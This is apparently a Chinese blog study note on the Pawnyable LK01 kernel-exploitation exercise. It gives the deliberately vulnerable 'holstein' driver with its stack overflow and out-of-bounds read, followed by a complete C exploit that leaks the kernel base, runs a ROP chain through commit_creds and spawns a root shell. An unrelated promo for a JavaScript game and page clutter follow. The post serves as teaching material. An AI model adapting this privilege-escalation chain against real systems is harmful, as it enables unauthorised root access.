0010-TIPS-pawnyable : Stack-Overflow

原文:
https://blog.wohin.me/posts/pawnyable-0201/
https://pawnyable.cafe/linux-kernel/

环境 && 题目

下载题目文件

wget https://pawnyable.cafe/linux-kernel/LK01/distfiles/LK01.tar.gz

解包文件系统
decompress_cpio.sh

#!/bin/bash

# Decompress a .cpio.gz packed file system
rm -rf ./rootfs && mkdir rootfs
pushd . && pushd rootfs
cp ../rootfs.cpio .
cpio -idv < rootfs.cpio
rm rootfs.cpio
popd

打包文件系统
compress_cpio.sh

#!/bin/bash
pushd . && pushd rootfs
find . -print0 | cpio -o --format=newc --null --owner=root  > ../rootfs.cpio
popd

漏洞分析

题目是存在很多问题,但是这里只看栈溢出的问题

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

static ssize_t module_read(struct file *file,
                        char __user *buf, size_t count,
                        loff_t *f_pos)
{
  char kbuf[BUFFER_SIZE] = { 0 };

  printk(KERN_INFO "module_read called\n");

  memcpy(kbuf, g_buf, BUFFER_SIZE);
  if (_copy_to_user(buf, kbuf, count)) {				// <<<<< 越界读
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  char kbuf[BUFFER_SIZE] = { 0 };

  printk(KERN_INFO "module_write called\n");

  if (_copy_from_user(kbuf, buf, count)) {				// <<<<< 栈溢出
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }
  memcpy(g_buf, kbuf, BUFFER_SIZE);

  return count;
}

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .read    = module_read,
   .write   = module_write,
   .open    = module_open,
   .release = module_close,
  };

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

_copy_from_user/_copy_to_user没有对栈溢出做检查
copy_from_user/copy_to_user是有的检查

利用


#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>

char *VULN_DRV = "/dev/holstein";
void spawn_shell();

int64_t global_fd = 0;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t prepare_kernel_cred = 0xffffffff8106e240;
uint64_t commit_creds = 0xffffffff8106e390;
uint64_t pop_rdi_ret = 0xffffffff812ef4c0; // will fail
// uint64_t pop_rdi_ret = 0xffffffff812bbdc; // works
uint64_t pop_rcx_ret = 0xffffffff812ea083; // will fail
// uint64_t pop_rcx_ret = 0xffffffff8132cdd3; // works
uint64_t mov_rdi_rax_xxx_ret = 0xffffffff8160c96b;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81800e10;
uint64_t kernel_base = 0xffffffff81000000;
uint64_t base_off = 0;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[!] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_kernel_base() {
    printf("[*] trying to leak up to %ld bytes memory\n", 0x440);
    char buf[0x440];
    memset(buf, 0, 0x440);
    read(global_fd, buf, 0x440);
    uint64_t *leak = (uint64_t *)buf;
    base_off = leak[0x408/8] - 0xffffffff8113d33c;
    kernel_base = 0xffffffff81000000 + base_off;
    printf("[+] got kernel base address: 0x%lx\n", kernel_base);
    printf("[+] got kernel base address offset: 0x%lx\n", base_off);
}


void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}


void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}


void overwrite_ret() {
    puts("[*] trying to overwrite return address of write op");
    char payload[0x500];
    memset(payload, 'A', 0x408);
    unsigned long *chain = (unsigned long*)&payload[0x408];
    *chain++ = pop_rdi_ret + base_off; // return address
    *chain++ = 0x0;
    *chain++ = prepare_kernel_cred + base_off;
    *chain++ = pop_rcx_ret + base_off;
    *chain++ = 0;
    *chain++ = mov_rdi_rax_xxx_ret + base_off;
    *chain++ = commit_creds + base_off;
    *chain++ = swapgs_restore_regs_and_return_to_usermode + 22 + base_off;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = user_rip;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    uint64_t data = write(global_fd, payload, sizeof(payload));
    
    puts("[-] if you can read this we failed the mission :(");
}


int main(int argc, char **argv) {
    save_userland_state();
    open_dev();
    leak_kernel_base();
    overwrite_ret();
    close(global_fd);
	
    return 0;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使用 JavaScript 编写的记忆游戏(附源代码)   项目:JavaScript 记忆游戏(附源代码) 记忆检查游戏是一个使用 HTML5、CSS 和 JavaScript 开发的简单项目。这个游戏是关于测试你的短期 记忆技能。玩这个游戏 时,一系列图像会出现在一个盒子形状的区域中 。玩家必须找到两个相同的图像并单击它们以使它们消失。 如何运行游戏? 记忆游戏项目仅包含 HTML、CSS 和 JavaScript。谈到此游戏的功能,用户必须单击两个相同的图像才能使它们消失。 点击卡片或按下键盘键,通过 2 乘 2 旋转来重建鸟儿对,并发现隐藏在下面的图像! 如果翻开的牌面相同(一对),您就赢了,并且该对牌将从游戏中消失! 否则,卡片会自动翻面朝下,您需要重新尝试! 该游戏包含大量的 javascript 以确保游戏正常运行。 如何运行该项目? 要运行此游戏,您不需要任何类型的本地服务器,但需要浏览器。我们建议您使用现代浏览器,如 Google Chrome 和 Mozilla Firefox, 以获得更好、更优化的游戏体验。要玩游戏,首先,通过单击 memorygame-index.html 文件在浏览器中打开游戏。 演示: 该项目为国外大神项目,可以作为毕业设计的项目,也可以作为大作业项目,不用担心代码重复,设计重复等,如果需要对项目进行修改,需要具备一定基础知识。 注意:如果装有360等杀毒软件,可能会出现误报的情况,源码本身并无病毒,使用源码时可以关闭360,或者添加信任。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值